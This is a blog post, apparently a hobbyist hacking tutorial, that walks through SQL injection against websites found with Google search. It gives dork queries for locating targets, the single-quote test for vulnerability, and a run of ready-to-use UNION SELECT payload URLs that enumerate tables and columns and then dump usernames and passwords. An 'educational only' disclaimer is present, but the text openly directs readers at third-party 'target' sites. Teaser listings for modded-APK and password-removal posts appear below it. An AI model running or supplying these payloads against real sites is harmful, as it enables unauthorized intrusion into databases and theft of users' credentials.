Skip to main content

HACKING WEBSITES USING SQL INJECTION ATTACKS ON VULNERABLE SITES !!!

Warning: This is only for EDUCATIONAL purposes
to make you aware of the vulnerabilities that may
be present in your website so that you may self
test it in your OWNED website to IMPROVE the
SECURITY ,,,,,!!! The person posting this or the this
blog is not responsible for any type malicuous
activities performed by anyone else,,,,!!!
This is what they basically teach you when you
go for certain HACKING COURSES which I have
taken pains for hours to put this to you without
even earning a penny and sharing it for FREE,,,,!!!
Atleast some comments and feedback from you
will make me Happy ^_^
So Guyzzz I have now decided to post some
serious ADVANCED LEVEL OF Hacking stuffs
which is how the "Cracker" breaks into your
Vulnerable Websites,,,,!!!
All you need to know is a bit of SQL queries,,,!!!
It doesnt matter even if you are not an expert in
So here we go,,,
What is SQL Injection?
So let me give you some idea of what I am going
to talk about,,,,There are many complex
defenitions you may get in various other sites,,,
But I put it in simple terms,,,, You type some SQL
queries or codes [or whatever you wish to call
it ;D] on the address bar[whee you type the web
address of sites to be searched] to test vulnerable
website,,,,!!! If you find it vulnerable then
BINGO,,,!!! we will use some more SQL injection
queries to crack it,,,!!!
So guyzzz who are related to computer science
stream,,, If you found learning SQL boring this is
one way to make yourself interested in ;D
And as far as others are concerned,,, please dont
worry i'will be giving you some codes which you
may use to Test the Vulnerability of the site,,,!!!
QUICK STEPS TO FIND THE VULNERABILITY OF
WEBSITES,,,!!!
Step 1:
Search for any of the following terms in Google:
inurl:product.php?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:shop.php?id=
inurl:shop.php?pid=
inurl:newsroom.php?id=
Step 2: Now for example say there is a website
that you found in Google search say for example
www.rahulswebsite.com/index.php?id=7
Open the website in a new tab,,,!!!
Step 3:
To test if your selected website is vulnerable:
Add the ' (single quote symbol) after the site as
follows
www.rahulswebsite.com/index.php?id=7'
and now Hit the "Enter" Key,,,!!!
If there is any type of " MySQL error " !!!BINGO,,,!!!
Then it means your target website is vulnerable.
STEPS TO HACK INTO THE WEBSITE AFTER
FINDING THE VULNERABILITY
Step 1:
After finding the vulnerability of your target site,
use the ORDER BY command to extract the
number of columns in the database.
Ex Code:
http://www.anywebsite.com/index.php?id=7
ORDER BY 1--
Doing ORDER BY 1-- should always return the
original page with NO error.
Step 2:
Then do ORDER BY 2--
If this shows the original page with NO error,
continue.
Now try ORDER BY 3--
and so on,
If this shows the original page with NO error,
continue.
Step 4:
Continue increasing the ORDER BY number until
you reach an error. For example, if doing ORDER
BY 10-- returns an error, then there is a table
which has NINE (9) columns, NOT 10. Always
subtract ONE from the number that produced the
error.
STEP 5:
Next step is to use UNION & SELECT
After getting the number of columns, let's say we
have NINE columns. Then you have to type the
following code:
Code:
http://www.anywebsite.com/index.php?id=7
UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
You should see a page with a few numbers
scattered throughout it. If so, continue,
IF NOT, try the following in which we have to add
the " - "hypen or negative sign in front of the id
value of our website:
Code:
http://www.anywebsite.com/index.php?id=-7
UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
At the end if this produces the scattered numbers,
continue, if not, STOP!!!
Choose anyother target website from the GOOGLE
search and repeat the vulnerability test,,,!!!
Step 6:
Now we use the database() command
After you see the scattered numbers, pick one to
exploit. Say the numbers on my page are TWO
and SEVEN. I will choose the number TWO. After
choosing your number, put database() in place of
it in your URL as shown below. REMEMBER, I
chose number TWO.
Code:
http://www.anywebsite.com/index.php?id=-7
UNION ALL SELECT 1,database(),3,4,5,6,7,8,9--
That should return some text in place of the
scattered TWO. WRITE THIS TEXT DOWN, and
move on.
Step 7: We use group_concat
This is where everything gets a little trickier! This
is also the part where you will be extracting data.
Yeah! Bingoo!!! :D :D *** Fist punch ***
After extracting the name of the database using
database(), type this where you typed database()
in the previous step.
Code:
http://www.anywebsite.com/index.php?id=-7
UNION ALL SELECT 1,group_concat
(table_name),3,4,5,6,7,8,9 from
information_schema.tables where
table_schema=database()--
TYPE THIS EXACTLY AS IT IS SHOWN, and press
enter.
In place of the scattered TWO, you should see a
LOT of text separated by commas. These are
called tables. The text varies by website, but you
usually want to look for things like "admin,"
"staff," or "users." Choose the one that interests
you. For this tutorial, I will choose "users." Now
type this:
Code:
http://www.anywebsite.com/index.php?id=-7
UNION ALL SELECT 1,group_concat
(column_name),3,4,5,6,7,8,9 from
information_schema.columns where
table_schema=database()--
OR
if you want the columns from ONLY one table, use
this (courtesy of dR..EviL):
Code:
http://www.anywebsite.com/index.php?
id=-7UNION ALL SELECT 1,group_concat
(column_name),3,4,5,6,7,8,9 from
information_schema.columns where table_name=<
table name goes here in hex or ascii format >--
This should return even more text. These are
called columns. Again choose what interests you,
but for this tutorial, I will choose "username" and
"password."
The columns "username" and "password" contain
the data we want to extract. To extract the final
data, meaning, in this case, the usernames and
passwords of all the users, type this:
Code:
http://www.anywebsite.com/index.php?id=-7
UNION ALL SELECT 1,group_concat
(username,0x3a,password,0x3a),3,4,5,6,7,8,9 from
users--
Where it says "username,0x3a,password,0x3a" is
where you would the name of your chosen
COLUMNS, such as username and password, DO
NOT replace the 0x3a, ONLY the username and
password area. Where it says "from users--,"
replace "users" with the name of your chosen
table such as the one "users." All of this will
produce even MORE text in this format:
Code:
admin:thisismypass:,
The comma separates each set of data.

Manish chauhan

Comments

Popular posts from this blog

WhatsApp Plus v5.20 MOD APK is Here!

WhatsApp Plus v5.20 MOD APK is Here! WhatsApp Plus v5.20 WhatsApp Plus v5.20 MOD Apk  WhatsApp Plus is a similar version of WhatsApp with a number of improved features inside. Basically, WhatsApp Plus is not an official app for any smartphone platform, the app is still available as a third party app. Although people find it quite impressive just because of the set of exciting new features in the app. WhatsApp Plus is a complete modified version of the current WhatsApp app, where you can customize your own emoticons and can change backgrounds and much more things within the app. The app is there just to make over the current WhatsApp application. Features of WhatsApp Plus Ban Proof Supports calls / Video calls Hide your ( last seen ) Privacy MODs Themes MODs Theme Server ( to download/apply themes ) Change ticks/bubbles Style Mod (17) Ticks & (13) Bubbles Styles to choose Counter statistics for groups Media preview without loading Show Online/last Seen in Main Screen Send video ...

How to Recover/Remove Memory Card Password?

How to Recover/Remove Memory Card Password? The memory card is the data storage device and we used it to store data. Every multimedia mobile phone has support memory card to store your data such as Images,  Videos , Songs and Application in your memory card. Sometimes we used password to protect these data from unauthorized access. You can set a password to the flash drive from your mobile phone or from a PC (Using Software). When you put your flash drive into another mobile phone then it will ask for password and also if you insert that password protected flash drive into your PC, then it will not be shown until you remove the password from it. How to Recover/Remove Memory Card Password? But unfortunately, sometimes many people forget the password. After forgetting the password peoples are not just losing their data, but they also lose their flash drive because they don’t have any other option to access it or reset the password. If you are one of...

BlueStacks App Player Pro v2.5.50.6271 Offline Rooted + MOD is Here !

BlueStacks App Player Pro v2.5.50.6271  Offline Rooted + MOD is Here ! BlueStacks App Player Pro BlueStacks App Player BlueStacks HD App Player Pro is a plateform that allows you to run applications, including games written for OS Android – on desktops, laptops and tablets and also this package contains all files to install it offline. This is a special program that uses a technology called LayerCake, which provides the correct environment for running applications for ARM-Android on a computer running Windows. Get Root (right super – user). After you install BlueStacks on your Windows PC, you can download directly from the program needed Android-app, without having to use the Android-based smartphone. BlueStacks looks pretty neat and fits naturally into the interface Windows. Features Run Android applications in full-screen and not only. Through the cloud download your application from the phone to Windows. In 16 player preinstalled applications and you can play them if there is no...